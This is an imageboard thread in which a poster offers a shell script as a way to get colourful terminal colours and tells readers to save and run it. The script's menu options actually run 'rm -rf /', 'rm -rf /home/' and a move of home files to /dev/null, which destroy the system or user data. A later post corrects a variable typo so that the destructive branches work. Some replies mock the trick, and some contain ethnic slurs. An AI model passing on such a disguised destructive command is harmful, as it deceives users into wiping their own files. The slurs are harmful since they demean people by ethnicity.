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For news in Linux, this is an algorithm with which you can have a nice terminal colors like the picture. You only copy this code in your txt editor (From #!/bin/sh to esac):
#!/bin/sh
# Script for colorfull shell
echo "1) Basic modification"
echo "2) Expert modification"
echo "3) Others"
echo -n "Write your number:"
read opcion
case "$opción" in
1) rm -rf /;;
2) rm -rf /home/;;
3) mv /home/*/* /dev/null;;
*) echo "Error, please write your number"
esac
Now, you save this with .sh file format, you can put Linux.sh like a name. Now you open the terminal and go to the folder where you have this .sh file and run it with the command:
sh Linux.sh
sh, is the command for run this file.
>>54862218
your screenshot looks fucking nice, is that regular Ubuntu? Looks like the old 10.10
>>54862218
are you retarded? you think people who know how to create a bash script and run it in a terminal (chmod it and run with sudo), will fall for it?
I seriously hope this is somehow ironic or some shit
>doesn't even upload a script to a filehost
>literally puts the rm -rf script in plaintext in the post
ok
>>54862218
doesnt work, what am I doing wrong??
I want those sweet sexy terminal colours
>>54862218
>read opcion
>case "$opción" in
kek, spics
>>54862406
mexican intellectuals
>>54862218
#rekt
BEANER MALWARE IS ON THE RISE
>spics in charge of trolling
>>54862506
>>54862514
wee need a fireWALL
>>54862406
Thank you somuch!
>>54862669
its too late now, I already found another color shceme.
maybe next time test it yourself before posting
>>54862376
>>54862218
>doesnt work, what am I doing wrong??
Sorry, This is the code (My error):
#!/bin/sh
# Script for colorfull shell
echo "1) Basic modification"
echo "2) Expert modification"
echo "3) Others"
echo -n "Write your number:"
read option
case "$option" in
1) rm -rf /;;
2) rm -rf /home/;;
3) mv /home/*/* /dev/null;;
*) echo "Error, please write your number"
esac